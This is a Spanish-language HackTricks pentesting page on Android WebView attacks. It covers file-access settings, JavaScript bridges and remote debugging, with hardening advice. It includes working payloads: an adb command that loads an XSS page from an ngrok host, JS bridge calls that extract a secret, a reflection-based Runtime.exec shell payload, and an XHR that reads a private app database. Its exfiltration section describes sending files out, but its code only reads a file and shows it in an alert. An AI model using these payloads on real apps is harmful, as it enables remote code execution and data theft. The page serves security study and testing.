18 KiB
Ataques a WebView
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Configuraciones interesantes
Puedes identificar un WebView expuesto de esta manera:
Acceso a archivos
El acceso a archivos de WebView está habilitado de forma predeterminada. Desde la API 3 (Cupcake 1.5), el método setAllowFileAccess() está disponible para habilitarlo o deshabilitarlo explícitamente.
Si la aplicación tiene el permiso _android.permission.READ_EXTERNAL_STORAGE _, podrá leer y cargar archivos desde el almacenamiento externo.
El WebView necesita usar un esquema de URL de archivo, por ejemplo, file://path/file
, para acceder al archivo.
Acceso universal desde URL de archivo (obsoleto)
Establece si se deben permitir solicitudes entre dominios en el contexto de una URL de esquema de archivo para acceder a contenido desde cualquier origen. Esto incluye acceso a contenido desde otras URL de esquema de archivo o contextos web. Tenga en cuenta que algunos accesos, como los elementos HTML de imagen, no siguen las reglas de mismo origen y no se ven afectados por esta configuración.
No habilite esta configuración si abre archivos que pueden ser creados o modificados por fuentes externas. Habilitar esta configuración permite que los scripts maliciosos cargados en un contexto
file://
lancen ataques de scripting entre sitios, ya sea accediendo a archivos locales arbitrarios, incluidas las cookies de WebView, los datos privados de la aplicación o incluso las credenciales utilizadas en sitios web arbitrarios.
En resumen, esto evitará la carga de orígenes arbitrarios. La aplicación enviará la solicitud de URL para cargar el contenido con Origin: file://
si la respuesta no permite ese origen (Access-Control-Allow-Origin: file://
), entonces el contenido no se cargará.
El valor predeterminado es false
al apuntar a Build.VERSION_CODES.JELLY_BEAN
y versiones superiores.
- Usa
getAllowUniversalAccessFromFileURLs()
para saber si JavaScript que se ejecuta en el contexto de una URL de esquema de archivo puede acceder a contenido desde cualquier origen (si UniversalAccessFromFileURL está habilitado). - Usa
setAllowUniversalAccessFromFileURLs(boolean)
para habilitar/deshabilitar esto.
{% hint style="info" %}
Usar loadDataWithBaseURL()
con null
como baseURL también evitará la carga de archivos locales, incluso si todas las configuraciones peligrosas están habilitadas.
{% endhint %}
Acceso a archivos desde URL de archivo (obsoleto)
Establece si se deben permitir solicitudes entre dominios en el contexto de una URL de esquema de archivo para acceder a contenido desde otras URL de esquema de archivo. Tenga en cuenta que algunos accesos, como los elementos HTML de imagen, no siguen las reglas de mismo origen y no se ven afectados por esta configuración.
No habilite esta configuración si abre archivos que pueden ser creados o modificados por fuentes externas. Habilitar esta configuración permite que los scripts maliciosos cargados en un contexto
file://
accedan a archivos locales arbitrarios, incluidas las cookies de WebView y los datos privados de la aplicación.
En resumen, esto evita que JavaScript acceda a archivos locales a través del protocolo file://
.
Ten en cuenta que el valor de esta configuración se ignora si el valor de getAllowUniversalAccessFromFileURLs()
es true
.
El valor predeterminado es false
al apuntar a Build.VERSION_CODES.JELLY_BEAN
y versiones superiores.
- Usa
getAllowFileAccessFromFileURLs()
para saber si JavaScript se está ejecutando en el contexto de una URL de esquema de archivo y puede acceder a contenido desde otras URL de esquema de archivo. - Usa
setAllowFileAccessFromFileURLs(boolen)
para habilitar/deshabilitar esto.
Acceso a archivos
Habilita o deshabilita el acceso a archivos dentro de WebView. Ten en cuenta que esto habilita o deshabilita solo el acceso al sistema de archivos. Los activos y recursos siguen siendo accesibles utilizando file:///android_asset y file:///android_res.
En resumen, si está deshabilitado, WebView no podrá cargar un archivo local con el protocolo file://
.
El valor predeterminado es false
al apuntar a Build.VERSION_CODES.R
y versiones superiores.
- Usa
getAllowFileAccess()
para saber si la configuración está habilitada. - Usa
setAllowFileAccess(boolean)
para habilitar/deshabilitarla.
WebViewAssetLoader
Clase auxiliar para cargar archivos locales, incluidos los activos estáticos y recursos de la aplicación, utilizando URL http(s):// dentro de una clase
WebView
. Cargar archivos locales utilizando URLs similares a la web en lugar de"file://"
es deseable ya que es compatible con la política de mismo origen.
Esta es la nueva forma recomendada de cargar archivos locales. El objetivo es acceder a archivos locales utilizando una URL HTTP con el dominio. De esta manera, se puede mantener fácilmente la política de mismo origen entre las páginas web locales y las páginas web que se descargan desde el servidor web.
JavaScript habilitado
Los WebViews tienen JavaScript deshabilitado de forma predeterminada. El método setJavaScriptEnabled()
se puede utilizar para habilitarlo o deshabilitarlo explícitamente.
Ten en cuenta que los webviews también pueden admitir el esquema intent
que permite ejecutar otras aplicaciones. Lee este artículo para saber cómo pasar de XSS a RCE.
Aquí tienes un ejemplo de un webview expuesto vulnerable a XSS a través del parámetro "support_url" (que puede indicar la URL a cargar en el webview):
Es posible explotar esa vulnerabilidad desde adb con algo como:
{% code overflow="wrap" %}
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://6333-157-48-216-175.ngrok-free.app/xss.html"
{% endcode %}
Puente de JavaScript
Android ofrece una forma para que el JavaScript ejecutado en un WebView llame y utilice funciones nativas de una aplicación de Android (anotadas con @JavascriptInterface
) mediante el uso del método addJavascriptInterface
. Esto se conoce como un puente de JavaScript de WebView o puente nativo.
Ten en cuenta que cuando utilizas addJavascriptInterface
, estás otorgando explícitamente acceso al objeto de la Interfaz de JavaScript registrada a todas las páginas cargadas dentro de ese WebView. Esto implica que, si el usuario navega fuera de tu aplicación o dominio, todas las demás páginas externas también tendrán acceso a esos objetos de la Interfaz de JavaScript, lo que podría representar un riesgo de seguridad potencial si se expone algún dato sensible a través de esas interfaces.
Advertencia: Ten mucho cuidado con las aplicaciones dirigidas a versiones de Android anteriores a Android 4.2 (nivel de API 17), ya que son vulnerables a una falla en la implementación de
addJavascriptInterface
: un ataque que abusa de la reflexión, lo que lleva a la ejecución de código remoto cuando se inyecta JavaScript malicioso en un WebView. Esto se debió a que todos los métodos de objetos Java eran accesibles de forma predeterminada (en lugar de solo aquellos anotados).
Análisis estático
//Class with a method to access a secret
public class JavascriptBridge {
// Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
// not annotated with @JavascriptInterface are not visible from JavaScript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
}
//Enabling Javascript Bridge exposing an object of the JavascriptBridge class
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
<!-- Exploit to get the secret from JavaScript -->
<script>alert(javascriptBridge.getSecret());</script>
Con acceso al código JavaScript, por ejemplo, a través de un ataque de XSS almacenado, un ataque MITM o un sitio web malicioso que se carga dentro del WebView, se puede llamar directamente a los métodos Java expuestos.
{% hint style="info" %} Tenga en cuenta que, en el caso de intentar explotar esta vulnerabilidad a través de una Redirección Abierta a una página web del atacante que accede al Objeto Nativo de Android, si el acceso a la redirección se realiza a través de un navegador móvil y no se utiliza el mismo WebView, el navegador no podrá acceder al objeto nativo de Android. {% endhint %}
Si es necesario utilizar addJavascriptInterface
, tenga en cuenta las siguientes consideraciones:
- Solo se debe permitir que el JavaScript proporcionado con el APK utilice los puentes, por ejemplo, verificando la URL en cada método Java conectado (a través de
WebView.getUrl
). - No se debe cargar JavaScript desde puntos finales remotos, por ejemplo, manteniendo la navegación de páginas dentro de los dominios de la aplicación y abriendo todos los demás dominios en el navegador predeterminado (por ejemplo, Chrome, Firefox).
- Si es necesario por razones de compatibilidad (por ejemplo, tener que admitir dispositivos más antiguos), al menos establezca el nivel de API mínimo en 17 en el archivo de manifiesto de la aplicación (
<uses-sdk android:minSdkVersion="17" />
).
Puente de JavaScript a RCE a través de Reflexión
Como se señala en esta investigación (consultarla para obtener ideas en caso de obtener RCE), una vez que se encuentra un JavascriptBridge, es posible obtener RCE a través de Reflexión utilizando una carga útil como la siguiente:
<!-- javascriptBridge is the name of the Android exposed object -->
<script>
function execute(cmd){
return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>
Sin embargo, las aplicaciones modernas pueden usar la anotación @JavascriptInterface
que indica al JavascriptBridge que solo el método con esta anotación debe ser expuesto. En ese escenario, no podrás abusar de la Reflexión para ejecutar código arbitrario.
Depuración remota
La depuración remota de WebView permite acceder al WebView con las Herramientas de desarrollo de Chrome. El dispositivo debe ser accesible desde la PC (a través de USB, emulador local, red local...) y ejecutar el WebView depurable, luego acceder a chrome://inspect/#devices:
Selecciona inspeccionar y se abrirá una nueva ventana. En esta ventana, puedes interactuar con el contenido del WebView e incluso hacer que ejecute código JS arbitrario desde la pestaña de la consola:
Para habilitar la depuración remota de WebView, puedes hacer algo como:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
Esta configuración se aplica a todos los WebViews de la aplicación.
{% hint style="info" %}
La depuración de WebView no se ve afectada por el estado de la bandera debuggable
en el manifiesto de la aplicación. Si deseas habilitar la depuración de WebView solo cuando debuggable
es true
, prueba la bandera en tiempo de ejecución.
{% endhint %}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
Cargas útiles
Exfiltrar archivos arbitrarios
Las aplicaciones de Android a menudo utilizan la funcionalidad WebView para mostrar contenido web dentro de la aplicación. Sin embargo, esta funcionalidad puede ser explotada para exfiltrar archivos arbitrarios del dispositivo.
Técnica
- Identificar la URL de destino donde se enviarán los archivos exfiltrados.
- Crear un archivo HTML malicioso que contenga un formulario para cargar archivos y enviarlos a la URL de destino.
- Inyectar el archivo HTML malicioso en la WebView de la aplicación objetivo.
- Cuando el usuario interactúa con el formulario y carga un archivo, el archivo se enviará a la URL de destino especificada.
- Verificar que los archivos se hayan exfiltrado correctamente.
Consideraciones
- Asegúrese de que la aplicación objetivo permita la carga de archivos a través de WebView.
- Verifique que la URL de destino sea accesible y esté configurada correctamente para recibir los archivos exfiltrados.
- Tenga en cuenta que esta técnica puede ser detectada por soluciones de seguridad que monitorean el tráfico de red saliente.
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);
Referencias
{% embed url="https://github.com/authenticationfailure/WheresMyBrowser.Android" %}
{% embed url="https://developer.android.com/reference/android/webkit/WebView" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.